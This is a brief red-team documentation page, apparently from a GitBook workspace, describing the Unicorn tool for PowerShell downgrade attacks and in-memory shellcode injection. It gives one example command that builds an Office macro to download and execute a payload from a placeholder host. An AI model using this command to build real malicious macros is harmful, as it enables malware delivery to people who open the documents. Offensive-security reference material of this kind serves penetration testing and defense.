> For the complete documentation index, see [llms.txt](https://techbrunch.gitbook.io/workspace/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://techbrunch.gitbook.io/workspace/red-team/unicorn.md).

# Unicorn

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique.

## Examples

Generating a macro that will download and execute a binary:

```
python2 unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
```